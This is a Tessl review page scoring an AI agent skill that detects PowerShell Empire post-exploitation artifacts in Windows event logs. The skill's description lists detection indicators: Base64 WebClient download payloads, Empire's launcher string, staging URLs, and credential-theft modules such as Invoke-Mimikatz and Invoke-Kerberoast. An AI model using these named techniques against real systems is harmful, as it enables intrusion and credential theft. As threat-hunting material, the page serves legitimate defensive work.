Tessl • The management layer for AI agent skills

SkillPublic

analyzing-powershell-empire-artifacts

Detect PowerShell Empire post-exploitation framework artifacts in Windows Script Block Logging (Event ID 4104) and Module Logging (Event ID 4103), including the default launcher string, Base64-encoded WebClient/FromBase64String payloads, known module invocations (Invoke-Mimikatz, Invoke-Kerberoast), and staging URL patterns. Use when hunting for or confirming Empire C2 activity in Windows event logs.

Quality

76%

Does it follow best practices?

Run evals on this skill

Adds up to 20 points to the overall score

View guide

Securityby

High

Do not use without reviewing

Fix and improve this skill with Tessl

tessl review fix ./skills/analyzing-powershell-empire-artifacts/SKILL.md

Quality

Content

51%Weight 40%Scale 1-5

Reviews the quality of instructions and guidance provided to agents. Good implementation is clear, handles edge cases, and produces reliable results.

The body is concise and lists specific detection indicators, but it stops at describing rather than instructing: it omits inline executable guidance and fails to link to the real bundle files that provide runnable code and query references. The batch-scanning workflow also lacks explicit validation steps.

Suggestions

Add a 'Quick start' section that links to scripts/agent.py with a copy-paste-ready invocation (e.g., `python agent.py scan-logs --max-events 1000`) so the executable tool is reachable from the body.

Reference references/api-reference.md explicitly for the Splunk/KQL detection queries and full module/IOC tables rather than leaving the bundle unlinked.

Define a sequenced workflow with a validation checkpoint — e.g., scan logs → decode flagged Base64 → verify decoded payload contains stager patterns before reporting — to satisfy the batch-operation validation requirement.

Dimension	Reasoning	Score
Conciseness	The body is lean and lists concrete indicators without over-explaining basics, though the opening sentence defining Empire as a 'post-exploitation framework consisting of listeners, stagers, and agents' is mild over-explanation Claude could do without.	4 / 5
Actionability	'Key Detection Patterns' lists concrete IOCs, but the body provides no executable code or queries inline and — critically — never links to the runnable scripts/agent.py or the reference queries in references/api-reference.md, leaving the user without copy-paste-ready guidance in the body itself.	3 / 5
Workflow Clarity	There is no sequenced multi-step process in the body and no validation/verification checkpoints for the batch log-scanning operation; the rubric's batch-operation validation cap and the absence of any explicit sequence keep this below a 3.	2 / 5
Progressive Disclosure	The body is well-organized into clear sections, but it never references or links to the existing bundle files (references/api-reference.md, scripts/agent.py), so the detailed reference content and executable scanner are not signaled for navigation.	3 / 5
	Total	12 / 20 Passed

Description

92%Weight 40%Scale 1-5

Based on the skill's description, can an agent find and select it at the right time? Clear, specific descriptions lead to better discovery.

A strong, specific description that clearly states what it does and when to use it, with concrete Empire-specific indicators and natural trigger phrases. Uses third-person voice throughout with no padding.

Dimension	Reasoning	Score
Specificity	Names the domain (PowerShell Empire artifact detection) and lists multiple concrete actions across two event IDs — default launcher string, Base64-encoded WebClient/FromBase64String payloads, known module invocations, and staging URL patterns — giving comprehensive coverage.	5 / 5
Completeness	It explicitly answers both 'what' (detect Empire artifacts in Event ID 4104/4103, naming specific IOCs) and 'when' ('Use when hunting for or confirming Empire C2 activity in Windows event logs') with concrete trigger phrases.	5 / 5
Trigger Term Quality	Natural terms like 'PowerShell Empire', 'Empire C2 activity', 'Windows event logs', and 'hunting for' match what users would say, though a few common synonyms/variations are absent, keeping it just below a 5.	4 / 5
Distinctiveness Conflict Risk	It targets a clear, narrow niche (PowerShell Empire artifacts in Windows event logs) with distinct triggers tied to Empire-specific indicators, minimizing overlap with other skills.	5 / 5
	Total	19 / 20 Passed

Validation

93%

Warnings & errors only

Checks the skill against the spec for correct structure and formatting. All validation checks must pass before discovery and implementation can be scored.

Validation — 15 / 16 Passed

Validation for skill structure

Criteria	Description	Result
frontmatter_unknown_keys	Unknown frontmatter key(s) found; consider removing or moving to metadata	Warning

	Total	15 / 16 Passed

Repository: mukul975/Anthropic-Cybersecurity-Skills
Path: skills/analyzing-powershell-empire-artifacts/SKILL.md
Revision: 54a7988

Reviewed: 1 month ago

Discovery Implementation Validation

Is this your skill?

If you maintain this skill, you can claim it as your own. Once claimed, you can manage eval scenarios, bundle related skills, attach documentation or rules, and ensure cross-agent compatibility.

analyzing-powershell-empire-artifacts

Table of Contents

Is this your skill?